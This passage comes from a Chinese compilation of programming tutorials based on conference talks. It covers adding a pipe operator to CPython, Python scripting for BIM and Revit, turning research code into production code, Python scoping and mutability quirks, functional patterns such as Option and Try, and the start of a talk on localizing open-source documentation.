Python/compile.c文件。找到compiler_visit_expr函数,在处理二元操作(BinOp)的case中,添加对CallPipe操作符的判断,使其生成BINARY_PIPE_CALL操作码。case CallPipe: ADDOP(c, BINARY_PIPE_CALL); break; - 声明栈效果:在同一个文件的
stack_effect函数中,为BINARY_PIPE_CALL操作码添加处理逻辑,指明其栈效果为(2, 1),即消耗2个栈元素,产生1个结果。
完成这些修改后,编译器就能将类似 10 |> double 的 AST 节点编译为一系列字节码指令,其中包含我们新定义的 BINARY_PIPE_CALL。
4:执行 - 评估循环中的魔法
最后,我们来到了最核心的部分:执行字节码。本节我们将看到评估循环如何解释执行 BINARY_PIPE_CALL 指令,让代码真正运行起来。
评估循环是 CPython 虚拟机的心脏,它是一个巨大的 switch 语句,每个 case 对应一个操作码,并执行该操作码对应的具体操作。
以下是实现新操作码执行逻辑的步骤:
- 定位评估循环:主要逻辑在
Python/ceval.c文件的_PyEval_EvalFrameDefault函数中。 - 添加操作码处理 Case:在巨大的
switch (opcode)语句中,添加case BINARY_PIPE_CALL:的处理逻辑。 - 实现操作逻辑:模仿现有的二元操作(如
BINARY_SUBTRACT)的实现。- 从值栈顶部弹出右操作数(函数对象)。
- 获取左操作数(传递给函数的参数值)。
- 使用 C API 函数
PyObject_CallOneArg(func, arg)调用函数。 - 将调用结果压回值栈顶部。
case TARGET(BINARY_PIPE_CALL): { PyObject *right = POP(); // 弹出函数 PyObject *left = TOP(); // 获取参数 PyObject *res = PyObject_CallOneArg(right, left); // 调用 SET_TOP(res); // 结果放回栈顶 Py_DECREF(right); Py_DECREF(left); if (res == NULL) goto error; DISPATCH(); } - 重新编译 CPython:使用
make -j2或相应的命令重新编译整个 CPython 解释器。
现在,所有工作都已完成。你可以启动新编译的 Python 解释器,测试新的管道运算符:
def double(x):
return x * 2

result = 10 |> double
print(result) # 输出:20

# 链式调用
result = 5 |> double |> double
print(result) # 输出:20


总结
在本教程中,我们一起学习了 CPython 解释器从源代码到执行的全过程,并通过实现一个管道运算符 |> 进行了实践。我们经历了四个主要阶段:

- 词法分析:在
Grammar/Tokens中添加新令牌,将|>识别为基本单元。 - 语法解析与 AST:在
Grammar/python.gram中添加语法规则,在Parser/Python.asdl中定义 AST 节点,让解析器能构建出包含新操作符的语法树。 - 编译:在
Lib/opcode.py中定义新操作码,在Python/compile.c中教编译器如何为CallPipe节点生成该操作码。 - 执行:在
Python/ceval.c的评估循环中实现BINARY_PIPE_CALL操作码的逻辑,完成函数调用。
这个流程揭示了 Python 作为一门解释型语言,其内部同样包含编译的步骤(生成字节码)。希望这次深入 CPython 内部的旅程,能帮助你更好地理解你所编写的 Python 代码是如何被执行的。

注意:本教程中的修改仅为教学目的,展示了最直接的实现路径,可能未考虑性能优化或与所有 Python 特性的兼容性。实际向 CPython 贡献代码需要遵循更严格的规范和流程。
077:用 Python 编程建造摩天大楼 🏗️


概述
在本教程中,我们将学习如何利用 Python 编程语言辅助建筑设计。我们将探讨 Python 如何与建筑信息建模(BIM)工具结合,实现设计自动化、数据分析和复杂几何生成,从而极大地提升设计效率和可能性。
建筑设计中的模式与数据 📐
建筑设计不仅仅是艺术创作,它也是系统、模式和语言的集合。许多建筑师拥有计算机科学背景,这使得建筑思想与计算机科学得以结合。这种结合源于上世纪60-70年代建筑师克里斯托弗·亚历山大提出的“设计模式”概念,后来被计算机科学家借鉴并发展。
传统的建筑设计依赖于手绘草图,但现代建筑项目需要处理成千上万张图纸和庞大的数据。如今,建筑完全以三维形式实现,其中嵌入了丰富的数据,如几何尺寸、门窗数量、面积和墙体体积等。
建筑信息建模与数据访问 🗃️
为了管理这些复杂数据,行业采用了建筑信息建模系统。BIM 将设计意图、几何和数据整合到一个通用数据环境中,本质上构成了一个关系数据库。当前广泛使用的 BIM 软件是 Revit。
然而,直接访问和操作 BIM 中的数据需要特殊工具。这就引入了 Dynamo——一种低代码可视化编程工具。
低代码工具:Dynamo 入门 ⚙️
Dynamo 是一个节点式的可视化编程环境,允许用户通过连接不同的节点来创建自定义工作流程,无需编写大量代码。
以下是 Dynamo 的基本工作方式:
- 输入:接收数据或参数。
- 处理:通过一系列连接的节点进行运算或操作。
- 输出:将结果反馈到模型或生成新数据。
例如,你可以用 Dynamo 快速生成一个建筑体量。通过定义矩形平面的长宽、层数、墙体材料等参数,并连接相应节点,可以在几秒钟内生成一座数十层的塔楼模型,而手动建模可能需要数小时。
Dynamo 的优势在于其实时可视化和对非编程人员的友好性,允许设计师直观地探索设计可能性。
Python 在 Dynamo 中的力量 🐍
虽然 Dynamo 功能强大,但有时需要更灵活的脚本控制。这时,Python 就可以大显身手。Dynamo 内置了 Python Script 节点。
在 Dynamo 中使用 Python 脚本的优势在于:
- 可以绕过复杂难用的 Revit API。
- 能够执行更复杂的逻辑和循环操作。
- 脚本紧凑易读,便于非程序员修改参数。

让我们看一个核心示例:使用 Python 在 Revit 中批量放置结构柱。

# 导入必要的运行环境和库
import clr
clr.AddReference('ProtoGeometry')
from Autodesk.DesignScript.Geometry import *
# 导入 Revit API
clr.AddReference("RevitAPI")
from Autodesk.Revit.DB import *
# 定义输入(从Dynamo节点连线获取)
# 此处假设已连接到指定族(Family)和标高(Level)
family = IN[0]
level = IN[1]
# 创建坐标点列表
points = []
for x in range(0, 100, 20): # X轴从0到100英尺,间隔20英尺
for y in range(0, 120, 20): # Y轴从0到120英尺,间隔20英尺
for z in [0]: # Z轴固定(例如在地面层)
point = Point.ByCoordinates(x, y, z)
points.append(point)
# 在每个坐标点放置族实例(柱子)
placed_columns = []
for pt in points:
# 此处为简化逻辑,实际需调用Revit API的创建实例方法
# column = doc.Create.NewFamilyInstance(pt, family, level)
placed_columns.append(pt) # 示例中仅输出点
# 输出结果
OUT = placed_columns
通过这样的脚本,我们可以快速生成网格状排列的柱子。只需修改循环中的范围参数,任何人都能轻松调整布局。
超越 Dynamo:Python 的生态系统 🌐
Python 在建筑设计中的应用远不止于 Dynamo 脚本。一个活跃的开源社区正在构建更强大的工具。
1. PyRevit
PyRevit 是一个开源项目,它提供了更直接的 Python 环境来扩展 Revit 功能,允许用户创建自定义插件和工具面板,而无需深入 C# 和复杂的 SDK。
2. Blender 与 BlenderBIM
Blender 是一款强大的开源 3D 创作套件,对 Python 支持极佳。BlenderBIM 插件则将 BIM 工作流引入 Blender,允许用户创建包含建筑数据的智能模型,并导出为行业通用的 IFC 格式。
3. Ladybug Tools
这是一个用于建筑环境性能分析的 Python 工具集,包含 Ladybug、Honeybee 等。它们可以帮助进行日照分析、能耗模拟等,助力可持续设计。
安装命令示例:pip install lbt-ladybug
未来方向与总结 🚀
上一节我们看到了 Python 在各种工具中的具体应用,本节我们来展望其未来方向。建筑设计正越来越依赖数据科学和机器学习来优化方案、降低能耗。Python 作为优秀的数据处理和 AI 语言,将成为连接不同数据源(如 BIM 模型、物联网传感器数据)和分析平台的关键桥梁。
总结
在本教程中,我们一起学习了:
- Python 如何通过与 Dynamo 等工具结合,实现建筑设计自动化。
- 如何使用 Python 脚本在 BIM 环境中执行批量操作和生成复杂几何。
- 探索了 PyRevit、BlenderBIM 和 Ladybug Tools 等强大的开源 Python 生态系统。
- 了解了 Python 在推动建筑行业走向更开放、数据驱动和可持续的未来中所扮演的核心角色。
Python 以其简洁、易读和强大的库生态,正在打破专业壁垒,让建筑师和工程师能更专注于创意和逻辑,将重复性工作交给代码。这不仅是效率的提升,更是设计可能性的一次解放。


(教程内容整理自 Tadeh Hakopian 的演讲,涉及的所有开源项目均归功于其优秀的贡献者社区。)
078:谈话 - Tetsuya Jesse Hirata


概述
在本教程中,我们将学习如何将研究导向的代码转化为可用于生产环境的、稳定且可维护的 Python 代码。我们将通过四个核心步骤,理解研究代码与生产代码的区别,并掌握模块化、重构和产品化的具体方法。
1:理解研究导向代码
研究导向代码通常是为了探索新问题、验证假设并最终形成论文而编写的。其最高优先级是快速获得结果和发现新知识。
一个典型的研究代码生命周期是:从数据修正和预处理开始,接着进行训练或计算,然后分析结果。如果结果有意义,就将其总结成论文发表。这类代码通常呈现为一个从上到下、视觉上易于追踪的长函数或脚本,其编写速度很快,足以快速获得初步结果。
例如,一段用于数据计算的研究代码可能大量使用 pandas 库,方便地处理输入和输出数据框。
# 示例:研究代码风格,可能是一个冗长的脚本
import pandas as pd
# ... 大量直接操作DataFrame的代码
df = pd.read_csv('data.csv')
# 一系列的数据处理步骤
result = some_calculation(df)
那么,什么是生产级代码呢?根据相关评估标准,一个成熟的、在生产环境运行多年的机器学习系统评分较高(7-12分)。本教程的目标是达到5-6分,即代码经过合理测试,且大部分流程可实现自动化。
生产代码的开发周期涉及架构设计、功能实现、测试、代码审查和发布。它需要持续接收反馈并迭代更新。因此,生产代码必须具备高可维护性、高可扩展性和高处理速度。
以下是重构后更简洁、复杂度更低的生产代码示例:
# 示例:重构后的生产代码风格
def load_data(filepath):
"""加载数据"""
return pd.read_csv(filepath)
def calculate_model(data):
"""核心计算逻辑"""
# ... 清晰的计算步骤
return result
# 主程序逻辑清晰
data = load_data('data.csv')
output = calculate_model(data)
我们可以总结出研究代码与生产代码的三个主要区别:
- 范围不同:研究人员专注于预处理和计算代码;工程师负责整个生产系统的构建。
- 编码风格不同:研究代码追求快速实现和视觉可追溯性;生产代码强调高可读性、可测试性和模块化。
- 目标不同:研究代码旨在寻找最有效的模型;生产代码确保在服务器上正确、可靠地运行。
2:模块化代码
在深入编写代码之前,首先要做的是阅读和理解现有的研究代码。面对可能冗长的 Jupyter Notebook 或脚本,有效的策略是做笔记来深化理解。
以下是三种实用的做笔记策略:
- 使用注释:直接在代码行旁边添加注释,解释其作用。
- 添加备忘录:在代码块前后用注释记录该部分的功能和逻辑。
- 移动文档:利用协作工具(如 VS Code Live Share)实时共享和编辑代码,这对于团队协作和新成员入职非常有益。
通过做笔记,我们的目标不仅仅是记住代码,而是真正理解其工作原理和流程,这为下一步的模块化打下基础。
上一节我们介绍了如何理解研究代码,本节中我们来看看如何对其进行模块化。
研究导向的代码通常包含三种类型的代码块:准备代码、处理代码和计算代码。基于上一步所做的注释,我们可以将代码按此分类。
以下是模块化的步骤:
- 将代码按功能分组(准备、处理、计算)。
- 在分组过程中,识别并修复重复的代码或小错误。
- 将每组代码分解为独立的函数或类,使其变得可测试。
模块化后,我们可能得到类似下面的文件结构:
preparation.py: 包含访问数据库、清理数据、加载输入数据等功能。processing.py: 包含数据替换、过滤、重命名列等处理功能。prediction.py: 包含核心模型计算逻辑(如逻辑回归)和输出结果的功能。
这样,原本紧密耦合的研究代码就变得松散耦合,易于管理和维护。你可以为这些模块创建清晰的目录结构。例如,一个使用 Flask 开发 API 的简单目录结构如下:
project_root/
├── api/
│ └── app.py # 主应用文件,定义路由
├── modules/
│ ├── preparation.py
│ ├── processing.py
│ └── prediction.py # 各个功能模块
└── requirements.txt
在 app.py 中,你可以导入这些模块并定义相应的 API 端点。这种结构简单明了,当团队增加新功能时,只需在 modules 目录中添加新模块即可,保持了模块间的松耦合。
3:重构代码
在开始重构代码之前,我们应该先建立一些基础保障。首先,粗略地编写一些测试代码。其次,使用代码格式化工具(如 black 或 autopep8)来统一代码风格。最后,使用 pytest 运行测试,并使用 flake8 检查代码风格一致性。此外,为代码添加类型注解也是一个好习惯,它能作为额外的文档并帮助发现潜在错误。
完成这些准备工作后,我们就可以开始重构了。那么,应该优先重构哪部分代码呢?答案是:准备代码和预处理代码。
预测模块通常依赖于成熟的机器学习库和数学库,需要重构的代码行数相对较少。而数据输入输出(IO)和预处理部分往往是“脏活累活”,存在更大的优化空间。确保服务器能正确运行这部分代码是首要任务,之后才有机会优化预测模块的性能。
让我们看两个重构 IO 代码的常见例子:
1. 优化数据库查询
研究阶段,数据科学家可能使用 SELECT * 来获取所有数据。在生产环境中,我们应该只提取需要的字段,这能显著提升速度并降低成本。
# 重构前
query = "SELECT * FROM large_table"
# 重构后
query = "SELECT user_id, feature_a, feature_b FROM large_table WHERE date > '2023-01-01'"
2. 封装对象存储访问
从云存储加载一个 CSV 文件可能需要多行样板代码。我们可以将其封装成一个简单的函数,提高代码复用性。
# 重构后:封装加载逻辑
def load_csv_from_storage(bucket_name, file_name):
"""从对象存储加载CSV文件"""
# ... 使用boto3或其他SDK的具体逻辑
return pd.read_csv(...)
# 使用时只需一行
data = load_csv_from_storage('my-bucket', 'data.csv')
接下来看预处理代码。研究代码中可能混合使用 pandas、纯 Python 和 SQL 查询。它们各有特点:
pandas: 交互式强,便于快速探索和编写。- 纯 Python: 可测试性高,不依赖外部数据框结构。
SQL: 处理性能高,语法简洁。
重构时,首先要考虑是否真的需要 pandas 和 SQL。如果数据已经在准备阶段被提取和物化,或许可以将部分 pandas/SQL 操作重构为纯 Python 代码,以大幅提升可测试性。
4:将代码转化为产品(API)
研究代码的产出是论文,而生产代码的产出是产品——一个能在服务器上持续运行、供用户访问的服务。本教程中,我们聚焦于将代码转化为 Web API。
从研究代码到产品有几种转换模式。本教程关注的是:基于研究代码实现一个独立的 API。
为了构建 Web API,我们需要实现三个核心部分:请求路由、请求参数检查和错误处理。
1. 实现请求路由
理解代码的输入和输出是设计 API 的第一步。例如,一个双参数逻辑回归模型的输入是学生答题数据,输出是答对概率。那么,API 的一个端点可以设计为 /calculate_probability。根据最佳实践,处理这个端点的函数名应该使用动词或动宾结构,例如 calculate_probability 或 get_probability。
2. 实现请求参数检查
建议使用 JSON Schema 来定义和检查请求参数。这能确保传入的数据格式正确。例如,一个请求需要学生姓名和成绩:
# 定义 JSON Schema
grade_schema = {
"type": "object",
"properties": {
"student_name": {"type": "string"},
"student_grade": {"type": "string", "maxLength": 120, "minLength": 1}
},
"required": ["student_name", "student_grade"]
}
# 在端点中使用装饰器或函数进行验证
@app.route('/api/calculate', methods=['POST'])
def calculate():
data = request.get_json()
validate(data, grade_schema) # 验证函数
# ... 处理逻辑
3. 实现错误检查
在实现代码前,需要与产品经理或 QA 团队确定服务规范:当出现错误时,是应该停止处理并返回错误,还是尝试降级处理并继续服务?例如,在 Flask 中,你可以使用 abort(400) 来立即停止并返回错误,或者捕获异常后返回一个包含错误信息的 JSON 响应。
# 示例:错误处理
@app.route('/api/calculate', methods=['POST'])
def calculate():
try:
data = request.get_json()
validate(data, grade_schema)
result = process_data(data)
return jsonify({'result': result}), 200
except ValidationError as e:
# 根据规范决定是abort还是返回错误信息
return jsonify({'error': str(e)}), 400
总结与后续步骤
本节课中,我们一起学习了将研究导向代码生产化的四个核心步骤:
- 理解代码:通过做笔记深入理解研究代码的逻辑和目标。
- 模块化代码:将代码按准备、处理、计算进行分组,并分解为松散耦合的模块。
- 重构代码:优先重构准备和预处理代码,优化 IO 操作,统一编码风格,并提高可测试性。
- 产品化:将模块转化为 Web API,实现请求路由、参数验证和错误处理。
在 API 部署上线后,工作并未结束。我们需要进行负载测试来评估其性能和稳定性。可以使用像 Locust(基于 Python)或 Vegeta(基于 Go)这样的工具来模拟高并发请求,监控服务器的响应。
如果性能不达标,可以依次尝试以下优化:
- 调整 Web 服务器(如 Gunicorn)和应用服务器的参数。
- 考虑使用异步框架(如 FastAPI)来提升并发能力。
- 重新审视整体架构和基础设施。
- 在极端情况下,考虑用性能更高的语言(如 Go, Rust)重写核心模块。

记住,从研究到生产的转变是一个迭代过程:理解、模块化、重构、产品化,然后测试、优化,并不断循环改进。
079:演讲 - Trey Hunner


概述
在本教程中,我们将跟随 Trey Hunner 的演讲,深入探讨 Python 语言中一些看似奇怪或令人困惑的行为。我们将从变量作用域和赋值开始,逐步深入到可变性、鸭子类型以及增强赋值运算符(如 +=)的微妙之处。通过学习这些“奇异性”,你将能更好地理解 Python 的设计哲学,并写出更健壮、更符合 Python 风格的代码。
变量与作用域
上一节我们介绍了本教程的主题,本节中我们来看看 Python 中变量和作用域的一些独特行为。
循环中的变量泄漏
在 Python 中,for 循环没有自己独立的作用域。这意味着在循环内部创建的变量在循环结束后仍然存在。
x = 0
numbers = [1, 2, 3, 4, 5, 6, 7, 8]
for x in numbers:
y = x * x
print(y) # 输出:64
print(x) # 输出:8
循环结束后,变量 y 保留了最后一次迭代的值(64),而循环变量 x 也“泄漏”到了外部作用域,其值为列表的最后一个元素(8)。
列表推导式的作用域
与 for 循环不同,在 Python 3 中,列表推导式拥有自己的作用域。循环变量不会泄漏到外部。
x = 0
numbers = [1, 2, 3, 4, 5, 6, 7, 8]
squares = [x*x for x in numbers]
print(x) # 输出:0
执行列表推导式后,外部的变量 x 仍然是 0,没有被内部的循环变量覆盖。
全局变量与局部变量
在函数内部,Python 通过赋值操作来区分局部变量和全局变量。一旦对变量进行赋值,Python 就会将其视为局部变量。
numbers = [1, 2, 3]
def add_numbers(more_numbers):
numbers += more_numbers # 这会引发 UnboundLocalError 错误
add_numbers([4, 5, 6])
上述代码会引发错误,因为 += 操作符同时包含读取和赋值。Python 在解析函数时,发现 numbers 被赋值,因此将其标记为局部变量。但在执行 += 时,它试图先读取这个尚未定义的局部变量,从而导致错误。
以下是解决此问题的正确方法:
numbers = [1, 2, 3]
def add_numbers(more_numbers):
# 明确声明使用全局变量
global numbers
numbers += more_numbers
add_numbers([4, 5, 6])
print(numbers) # 输出:[1, 2, 3, 4, 5, 6]
核心概念:在 Python 中,赋值语句(=)总是改变变量(即变量指向的对象)。而像 list.append() 这样的方法则是改变对象本身。
可变性与对象引用
上一节我们探讨了变量作用域的规则,本节中我们来看看可变性以及变量如何“指向”对象。
变量是引用
在 Python 中,变量并不“存储”对象,而是“指向”或“引用”对象。多个变量可以指向同一个对象。
numbers = [1, 2, 3]
my_list = numbers
my_list.append(4)
print(numbers) # 输出:[1, 2, 3, 4]
numbers 和 my_list 指向同一个列表对象。通过 my_list 修改列表,通过 numbers 访问时也会看到变化。
元组的“不可变性”
元组本身是不可变的,意味着你不能改变元组包含的引用。但是,如果元组包含一个可变对象(如列表),你仍然可以改变那个对象。
my_tuple = ([1, 2], 3)
my_tuple[0].append(99)
print(my_tuple) # 输出:([1, 2, 99], 3)
我们没有改变元组 my_tuple 本身(它仍然包含对同一个列表和整数 3 的引用),但我们改变了列表对象的内容。
无限递归数据结构
由于变量和数据结构存储的是引用,因此可以创建指向自身的结构。
weird_list = []
weird_list.append(weird_list)
print(weird_list) # 输出:[[...]]
weird_list 包含一个对其自身的引用。Python 的 REPL 使用 [...] 来表示这种递归,以避免无限打印。
核心概念:Python 中的“改变”有两种含义:
- 改变变量:使用赋值语句(
=)让变量指向一个新对象。公式:变量 = 新对象 - 改变对象:调用对象的方法(如
list.append())来修改对象本身的状态。
鸭子类型与操作符行为
上一节我们理解了变量和对象的引用关系,本节中我们来看看 Python 如何通过“鸭子类型”来处理不同类型的对象,以及 += 操作符的奇怪之处。
鸭子类型
Python 不严格检查对象的类型,而是检查对象的行为(它有什么方法,能做什么)。这就是“鸭子类型”:如果一个东西走路像鸭子,叫声像鸭子,那么我们就可以把它当作鸭子。
例如,list.extend() 方法接受任何“可迭代对象”,而不仅仅是列表。
my_list = [1, 2]
my_list.extend((3, 4)) # 接受元组
my_list.extend(“ab”) # 接受字符串(会添加字符 ‘a’, ‘b’)
print(my_list) # 输出:[1, 2, 3, 4, ‘a’, ‘b’]
+= 操作符的歧义
+= 操作符(就地加法)的行为取决于左侧对象的类型。
- 对于可变对象(如列表):
+=会改变原对象,相当于list.extend()。a = [1, 2] b = a a += [3, 4] print(a) # 输出:[1, 2, 3, 4] print(b) # 输出:[1, 2, 3, 4] (b 和 a 指向同一个被修改的列表) - 对于不可变对象(如元组、字符串、整数):
+=会创建一个新对象,然后让变量指向它。相当于a = a + b。a = (1, 2) b = a a += (3, 4) print(a) # 输出:(1, 2, 3, 4) print(b) # 输出:(1, 2) (b 仍然指向旧的元组)
因此,在 Python 中,a += b 并不总是等价于 a = a + b。对于列表,前者改变原对象,后者创建新对象。
一个极端的例子
这个例子展示了 += 在复杂情况下的行为:
my_tuple = ([1, 2], )
try:
my_tuple[0] += [3, 4]
except TypeError as e:
print(f“发生错误:{e}”)
print(f“元组现在是:{my_tuple}”) # 输出:([1, 2, 3, 4], )
这里发生了两件事:
- 列表的
__iadd__方法(即+=的内部实现)成功执行,将[3, 4]添加到了元组内的列表中。 - 随后,Python 尝试执行赋值操作
my_tuple[0] = ...,但由于元组不可变,这一步失败了并抛出TypeError。
所以,列表被修改了,但赋值操作失败了。这在实际编程中很少遇到,但它揭示了 += 是“先尝试就地操作,再执行赋值”的两步过程。
核心概念:在 Python 中,应关注对象的行为(如是否可迭代、可调用),而非其具体类型。+= 等增强赋值操作符的行为是对象可自定义的,对于可变和不可变对象有不同的默认实现。
总结
在本教程中,我们一起学习了 Python 中几个关键的“奇异性”:

- 作用域规则:
for循环变量会泄漏到外部作用域,而列表推导式则不会。函数内的赋值默认创建局部变量。 - 变量与对象:变量是对象的引用。赋值改变引用,方法调用改变对象本身。理解这一点是理解许多 Python 行为的关键。
- 鸭子类型:Python 通过行为而非严格类型来使用对象。这使得 API 更灵活,但也要求开发者清楚对象应具备的行为。
+=操作符:它的行为取决于对象的可变性。对可变对象是就地修改,对不可变对象是创建新对象。它并不总是等价于a = a + b。

Python 的这些设计选择,虽然有时看起来奇怪,但大多有其内在一致性和实用性。当你在代码中遇到令人困惑的行为时,不妨深入探究其背后的原理,这往往是加深对 Python 理解的绝佳机会。记住,尝试打破事物并观察其反应,是学习编程语言的有效方式。
080:用Python编写函数式代码


概述
在本节课中,我们将学习函数式编程的核心概念,并了解如何在Python中应用这些思想。我们将探讨纯函数、副作用、引用透明性等关键理念,并通过具体的代码示例学习如何使用高阶函数和特定的类(如Option、Try、Future)来编写更清晰、更易于推理的代码。
什么是函数式编程?
在过去的五到六年里,许多新兴技术都融入了函数式编程的思想。例如,JavaScript中的React.js,.NET中的F#,JVM生态中的Scala和Kotlin,以及iOS开发中的Swift。此外,还有Haskell、OCaml等更传统的函数式语言。
函数式编程的理念非常简单,但影响深远。其核心是施加一个约束:尝试仅使用纯函数来编写代码。
什么是纯函数?
纯函数是指没有副作用的函数。
什么是副作用?
副作用是指任何不属于纯粹计算的行为。例如:
- 修改变量的状态。
- 就地修改数据结构。
- 在代码中抛出异常。
- 处理任何类型的输入/输出(如控制台、网络操作)。
另一种理解方式是:函数有输入和输出。如果函数内部执行了任何与输入或输出没有直接、明确关系的操作,那么根据定义,这就是副作用。因为这些操作并未在函数的签名中明确声明。
纯函数具有引用透明性的特性。这意味着,在程序中,任何对纯函数的调用都可以用其返回值替换,而不会改变程序的行为。
从可变状态到不可变状态
上一节我们介绍了纯函数和副作用的概念。本节中,我们来看看一个具体的例子,理解可变状态如何导致代码不纯,以及如何改进。
以下是一个对数字列表求和的函数,它使用了可变状态:
def add_numbers_one(numbers):
sum = 0
for n in numbers:
sum = sum + n
return sum
这个函数看起来简单,但它修改了变量sum的状态,因此不是纯函数。我们可以通过“替换模型”来验证其引用透明性:如果将sum替换为其初始值0,函数的行为会改变,结果不正确。
此外,可变状态sum在多线程环境下会引发并发问题,需要额外的锁机制。
如何消除可变状态?
以下是两种消除可变状态的方法:
1. 使用递归
def add_numbers_two(numbers):
if len(numbers) == 1:
return numbers[0]
else:
return numbers[0] + add_numbers_two(numbers[1:])
这个函数内部没有可变状态,是引用透明的。
2. 使用高阶函数
高阶函数是指接收函数作为参数,或返回函数作为结果的函数。
from functools import reduce
def add_numbers_three(numbers):
return reduce(lambda x, y: x + y, numbers)
reduce函数抽象了遍历和累积的过程,避免了显式的状态变更。add_numbers_two和add_numbers_three都是纯函数。
使用Option类处理空值
我们接受了使用高阶函数进行抽象的想法。现在,我们引入一些类来封装常见的行为模式。本节将介绍Option类,它用于优雅地处理可能为None的值。
Option类是一个抽象基类,有两个具体实现:Some(封装一个值)和Empty(表示空值)。
假设我们有一个嵌套的数据模型:
from dataclasses import dataclass
@dataclass
class Name:
first_name: str
last_name: str
@dataclass
class Contact:
name: Name
@dataclass
class Person:
contact1: Contact
任务:给定一个Person对象,安全地获取其contact1的first_name。
传统方式(命令式):
def get_first_name_imperative(person: Person) -> str:
if person is not None:
contact1 = person.contact1
if contact1 is not None:
name = contact1.name
if name is not None:
return name.first_name
return None
这种方式需要多层嵌套的if检查,代码冗长且容易出错。
使用Option类(函数式):
首先,我们需要将数据访问函数改为返回Option类型。
# 假设有库提供了Option, Some, Empty
def get_contact(person: Person) -> Option[Contact]:
return Some(person.contact1) if person.contact1 is not None else Empty()
def get_name(contact: Contact) -> Option[Name]:
return Some(contact.name) if contact.name is not None else Empty()
def get_first_name_func(name: Name) -> Option[str]:
return Some(name.first_name) if name.first_name is not None else Empty()
然后,使用flat_map进行链式调用:
def get_first_name_func_person(person: Person) -> Option[str]:
return (
Some(person)
.flat_map(get_contact)
.flat_map(get_name)
.flat_map(get_first_name_func)
)
flat_map操作负责组合函数:将一个函数的输出(Option类型)作为下一个函数的输入。如果链中任何一步得到Empty,整个链条会短路并最终返回Empty。
优势:
- 无分支逻辑:代码从左到右阅读,清晰流畅。
- 显式类型:函数签名明确告知返回值可能是
Option[str],调用者必须处理空值情况(例如使用get_or_else提供默认值)。 - 抽象通用模式:将空值检查的逻辑抽象到了
Option类中。
使用Try类处理异常
上一节我们使用Option处理了空值。本节中,我们来看看如何使用类似的模式——Try类来处理异常,这是另一种常见的副作用。
Try类也是一个抽象基类,有两个子类:Success(封装成功结果)和Failure(封装抛出的异常)。
示例:解析JSON字符串并提取信息。
import json
def parse_name(data: dict) -> Name:
# 如果字典中缺少键,会抛出KeyError
return Name(first_name=data[“first_name”], last_name=data[“last_name”])
def parse_person(json_str: str) -> str:
data = json.loads(json_str)
contact_data = data[“contacts”][0]
name = parse_name(contact_data) # 可能抛出异常
return name.first_name
parse_name的函数签名是dict -> Name,但它可能抛出KeyError,这个信息并未在签名中体现,代码不够明确。
使用Try类重写:
def parse_name_safe(data: dict) -> Try[Name]:
return Try.of(lambda: Name(first_name=data[“first_name”], last_name=data[“last_name”]))
def parse_person_safe(json_str: str) -> Try[str]:
return (
Try.of(lambda: json.loads(json_str))
.flat_map(lambda data: Try.of(lambda: data[“contacts”][0]))
.flat_map(parse_name_safe)
.map(lambda name: name.first_name)
)
# 处理失败情况
result = parse_person_safe(invalid_json_str)
first_name = result.or_else_supply(lambda: “Unknown”)
优势:
- 显式错误处理:函数签名
dict -> Try[Name]明确告知调用者此操作可能失败。 - 链式组合:与
Option类似,可以使用flat_map和map安全地组合可能失败的操作。 - 集中处理:可以在链条末尾统一处理成功或失败的情况(如
or_else_supply)。
使用Future类处理并发
我们看到了Option和Try如何封装同步计算中的不确定性。本节我们将概念延伸到异步计算,使用Future(或Promise)来处理并发。
Future代表一个尚未完成的异步计算的结果。计算完成后,其结果表现为一个Try(要么是Success,要么是Failure)。
简单示例:在新线程中运行一个耗时函数。
from concurrent.futures import ThreadPoolExecutor
import time
def long_running_task() -> int:
time.sleep(3)
return 100
# 创建Future
with ThreadPoolExecutor() as executor:
future = executor.submit(long_running_task)
# 可以继续做其他事情...
result = future.result() # 阻塞直到获取结果
print(result + 1) # 输出 101
组合多个Future:
我们想并行运行两个任务,并在它们都完成后合并结果。
def task1() -> int:
time.sleep(3)
return 100
def task2() -> int:
time.sleep(5)
return 50
with ThreadPoolExecutor() as executor:
future1 = executor.submit(task1)
future2 = executor.submit(task2)
# 使用回调处理组合结果
combined_future = future1.flat_map(lambda a: future2.map(lambda b: a + b))
# 添加回调检查结果
combined_future.add_done_callback(lambda f: print(f“Result: {f.result()}”))
两个任务并行执行(总耗时约5秒,而非8秒),结果正确合并为150。
处理Future列表:当需要组合多个Future时,可以使用类似future.sequence(在Scala中)或asyncio.gather(在Python asyncio中)的函数,将一个Future列表转换为一个包含结果列表的Future。
# 概念性代码,展示思想
futures = [executor.submit(task) for task in task_list]
single_future_of_list = sequence(futures) # 返回 Future[List[Result]]
这样,我们可以方便地检查整个批量操作是全部成功还是部分失败。
总结
本节课中,我们一起学习了函数式编程在Python中的应用。核心要点如下:
- 追求纯度:副作用(如可变状态、异常、I/O)会使代码难以推理。纯函数和引用透明性让逻辑更清晰、更可预测。
- 拥抱抽象:使用高阶函数(如
map、reduce、flat_map)和特定的类型类(如Option、Try、Future)来抽象并封装常见的副作用模式。 - 声明式风格:通过链式调用(流式API),将程序构建为“输入 -> 一系列转换 -> 输出”的管道,代码更贴近自然语言的阅读顺序(从左到右),减少了嵌套和分支。
- 显式优于隐式:让可能的失败(空值、异常)在类型签名中显式体现,迫使调用者进行处理,提高了代码的健壮性。


函数式编程并非要完全取代命令式编程,而是提供了一套强大的工具和思维方式,帮助我们编写出更简洁、更模块化、更易于测试和维护的代码。
081:演讲 - Zachary Sarah Corleissen_ 本地化你的开源文档 _ 一个 Kube - VikingDen7 - BV1f8411Y7cP


在本教程中,我们将学习如何为开源项目本地化文档。内容基于 Zachary Sarah Corleissen 在 Kubernetes 文档本地化工作中获得的经验。我们将探讨本地化的核心概念、实施策略和维护建议,旨在帮助项目维护者和贡献者以可持续的方式扩展其文档的受众。
1️⃣:什么是本地化?
上一节我们介绍了本教程的主题,本节中我们来看看本地化的定义。
本地化不仅仅是翻译。根据 W3C 的定义,本地化是将文档调整以满足特定目标市场的语言、文化和其他要求的过程。这意味着本地化内容需要符合目标受众的语言习惯和文化背景,而不仅仅是字面上的转换。
虽然机器翻译工具(如 Google Translate)功能强大,但它们生成的翻译往往缺乏语言相关性和文化适应性。因此,为了实现有效的本地化,需要投入专门的人力进行审核和调整。
2️⃣:本地化的核心优势与挑战

上一节我们定义了本地化,本节中我们来看看为什么值得进行本地化以及可能遇到的挑战。
进行文档本地化能为项目带来显著回报,其收益通常大于投入。一个关键的好处是能吸引新的贡献者和维护者,为项目社区注入活力。
